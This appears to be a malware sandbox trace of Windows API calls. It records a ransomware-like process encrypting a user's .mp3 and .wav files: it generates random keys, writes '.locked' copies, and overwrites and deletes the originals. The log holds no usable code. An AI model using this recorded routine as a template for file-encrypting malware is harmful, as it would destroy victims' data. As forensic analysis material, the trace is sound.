	[0077.594] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.620] CloseHandle (hObject=0xc0) returned 1
	[0077.621] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\hQ_CmjzW6h4E2RX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\hq_cmjzw6h4e2rx.mp3")) returned 1
	[0077.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\i9vNtmyPIVEKL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\i9vntmypivekl.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9f6a0, ftCreationTime.dwHighDateTime=0x1d4d47d, ftLastAccessTime.dwLowDateTime=0x5c98940, ftLastAccessTime.dwHighDateTime=0x1d4c8a5, ftLastWriteTime.dwLowDateTime=0x5c98940, ftLastWriteTime.dwHighDateTime=0x1d4c8a5, nFileSizeHigh=0x0, nFileSizeLow=0xe859)) returned 1
	[0077.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\i9vNtmyPIVEKL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\i9vntmypivekl.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.624] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\i9vNtmyPIVEKL.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\i9vntmypivekl.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.625] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.625] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0077.625] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796150 | out: pbBuffer=0x12796150) returned 1
	[0077.625] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.625] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.627] SetEvent (hEvent=0x80) returned 1
	[0077.627] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0xe859, lpOverlapped=0x0) returned 1
	[0077.629] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xe859, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0xe859, lpOverlapped=0x0) returned 1
	[0077.630] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.630] CloseHandle (hObject=0xc4) returned 1
	[0077.630] CloseHandle (hObject=0xc0) returned 1
	[0077.631] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.631] SetEvent (hEvent=0x80) returned 1
	[0077.631] SetEvent (hEvent=0x8c) returned 1
	[0077.631] SetEvent (hEvent=0xb4) returned 1
	[0077.631] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.632] SetEvent (hEvent=0xb4) returned 1
	[0077.632] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126f4000*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x126f4000*, lpNumberOfCharsWritten=0x127ee774*=0x60) returned 1
	[0077.634] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\i9vNtmyPIVEKL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\i9vntmypivekl.mp3")) returned 1
	[0077.652] SetEvent (hEvent=0x8c) returned 1
	[0077.656] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.656] SetEvent (hEvent=0x8c) returned 1
	[0077.656] SetEvent (hEvent=0xb4) returned 1
	[0077.656] SetEvent (hEvent=0x80) returned 1
	[0077.657] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.657] SetEvent (hEvent=0xa8) returned 1
	[0077.657] SetEvent (hEvent=0x80) returned 1
	[0077.659] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.659] SetEvent (hEvent=0x80) returned 1
	[0077.659] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.660] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.660] SetEvent (hEvent=0x80) returned 1
	[0077.660] SetEvent (hEvent=0xb4) returned 1
	[0077.660] SetEvent (hEvent=0x8c) returned 1
	[0077.660] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.660] SetEvent (hEvent=0x8c) returned 1
	[0077.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\i9vNtmyPIVEKL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\i9vntmypivekl.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.661] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0077.661] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.677] CloseHandle (hObject=0xc0) returned 1
	[0077.677] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\i9vNtmyPIVEKL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\i9vntmypivekl.mp3")) returned 1
	[0077.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\rLgKrrm-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\rlgkrrm-.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbc448c0, ftCreationTime.dwHighDateTime=0x1d4c940, ftLastAccessTime.dwLowDateTime=0x5c5028e0, ftLastAccessTime.dwHighDateTime=0x1d4cd97, ftLastWriteTime.dwLowDateTime=0x5c5028e0, ftLastWriteTime.dwHighDateTime=0x1d4cd97, nFileSizeHigh=0x0, nFileSizeLow=0xfbfa)) returned 1
	[0077.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\rLgKrrm-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\rlgkrrm-.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.680] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\rLgKrrm-.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\rlgkrrm-.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.681] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.681] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0077.681] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796150 | out: pbBuffer=0x12796150) returned 1
	[0077.681] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.681] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.683] SetEvent (hEvent=0xb4) returned 1
	[0077.683] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0xfbfa, lpOverlapped=0x0) returned 1
	[0077.685] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xfbfa, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0xfbfa, lpOverlapped=0x0) returned 1
	[0077.686] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.686] CloseHandle (hObject=0xc4) returned 1
	[0077.686] CloseHandle (hObject=0xc0) returned 1
	[0077.686] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.687] SetEvent (hEvent=0xb4) returned 1
	[0077.687] SetEvent (hEvent=0x8c) returned 1
	[0077.687] SetEvent (hEvent=0x80) returned 1
	[0077.687] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.687] SetEvent (hEvent=0x80) returned 1
	[0077.687] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee774*=0x5b) returned 1
	[0077.689] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\rLgKrrm-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\rlgkrrm-.wav")) returned 1
	[0077.708] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.708] SetEvent (hEvent=0xa8) returned 1
	[0077.708] SetEvent (hEvent=0x8c) returned 1
	[0077.713] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.713] SetEvent (hEvent=0x8c) returned 1
	[0077.713] SetEvent (hEvent=0x80) returned 1
	[0077.713] SetEvent (hEvent=0xb4) returned 1
	[0077.713] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.714] SetEvent (hEvent=0xb4) returned 1
	[0077.715] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.715] SetEvent (hEvent=0xb4) returned 1
	[0077.716] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.716] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.716] SetEvent (hEvent=0xb4) returned 1
	[0077.716] SetEvent (hEvent=0x80) returned 1
	[0077.716] SetEvent (hEvent=0x8c) returned 1
	[0077.716] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.716] SetEvent (hEvent=0x8c) returned 1
	[0077.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\rLgKrrm-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\rlgkrrm-.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.717] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0077.717] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.733] CloseHandle (hObject=0xc0) returned 1
	[0077.733] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\rLgKrrm-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\rlgkrrm-.wav")) returned 1
	[0077.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\tfUmoToD3o-U-IGS S.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\tfumotod3o-u-igs s.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa46cc50, ftCreationTime.dwHighDateTime=0x1d4cc7c, ftLastAccessTime.dwLowDateTime=0xbed7b2a0, ftLastAccessTime.dwHighDateTime=0x1d4c8e5, ftLastWriteTime.dwLowDateTime=0xbed7b2a0, ftLastWriteTime.dwHighDateTime=0x1d4c8e5, nFileSizeHigh=0x0, nFileSizeLow=0xdbfe)) returned 1
	[0077.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\tfUmoToD3o-U-IGS S.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\tfumotod3o-u-igs s.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.736] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\tfUmoToD3o-U-IGS S.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\tfumotod3o-u-igs s.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.737] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.737] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0077.737] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796150 | out: pbBuffer=0x12796150) returned 1
	[0077.737] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.737] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.739] SetEvent (hEvent=0x80) returned 1
	[0077.739] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0xdbfe, lpOverlapped=0x0) returned 1
	[0077.741] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xdbfe, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0xdbfe, lpOverlapped=0x0) returned 1
	[0077.743] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.743] CloseHandle (hObject=0xc4) returned 1
	[0077.743] CloseHandle (hObject=0xc0) returned 1
	[0077.743] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1279c000*, nNumberOfCharsToWrite=0x65, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x1279c000*, lpNumberOfCharsWritten=0x127ee774*=0x65) returned 1
	[0077.745] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.746] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\tfUmoToD3o-U-IGS S.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\tfumotod3o-u-igs s.wav")) returned 1
	[0077.751] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.751] SetEvent (hEvent=0xa8) returned 1
	[0077.751] SetEvent (hEvent=0x80) returned 1
	[0077.752] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.753] SetEvent (hEvent=0x80) returned 1
	[0077.753] SetEvent (hEvent=0x78) returned 1
	[0077.753] SetEvent (hEvent=0xb4) returned 1
	[0077.753] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.753] SetEvent (hEvent=0xb4) returned 1
	[0077.769] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.770] SetEvent (hEvent=0xa8) returned 1
	[0077.770] SetEvent (hEvent=0xb4) returned 1
	[0077.771] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0077.772] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.772] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.772] SetEvent (hEvent=0xb4) returned 1
	[0077.772] SetEvent (hEvent=0x78) returned 1
	[0077.772] SetEvent (hEvent=0x80) returned 1
	[0077.772] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.773] SetEvent (hEvent=0xa8) returned 1
	[0077.773] SetEvent (hEvent=0x80) returned 1
	[0077.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\tfUmoToD3o-U-IGS S.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\tfumotod3o-u-igs s.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.773] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0077.774] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.789] CloseHandle (hObject=0xc0) returned 1
	[0077.789] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\tfUmoToD3o-U-IGS S.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\tfumotod3o-u-igs s.wav")) returned 1
	[0077.792] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\wyXUQFoNPQQhxiR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\wyxuqfonpqqhxir.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6d46680, ftCreationTime.dwHighDateTime=0x1d4d0b5, ftLastAccessTime.dwLowDateTime=0xe7ed68a0, ftLastAccessTime.dwHighDateTime=0x1d4c9e0, ftLastWriteTime.dwLowDateTime=0xe7ed68a0, ftLastWriteTime.dwHighDateTime=0x1d4c9e0, nFileSizeHigh=0x0, nFileSizeLow=0x1769a)) returned 1
	[0077.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\wyXUQFoNPQQhxiR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\wyxuqfonpqqhxir.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.793] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\wyXUQFoNPQQhxiR.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\wyxuqfonpqqhxir.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.793] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.794] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0077.794] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0077.794] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.794] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.796] SetEvent (hEvent=0x78) returned 1
	[0077.796] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeab0*=0x1769a, lpOverlapped=0x0) returned 1
	[0077.799] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x1769a, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeabc*=0x1769a, lpOverlapped=0x0) returned 1
	[0077.800] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.800] CloseHandle (hObject=0xc4) returned 1
	[0077.801] CloseHandle (hObject=0xc0) returned 1
	[0077.801] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0077.801] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.801] SetEvent (hEvent=0x78) returned 1
	[0077.801] SetEvent (hEvent=0x80) returned 1
	[0077.801] SetEvent (hEvent=0xb4) returned 1
	[0077.801] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.802] SetEvent (hEvent=0xb4) returned 1
	[0077.802] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126f4000*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x126f4000*, lpNumberOfCharsWritten=0x127ee774*=0x62) returned 1
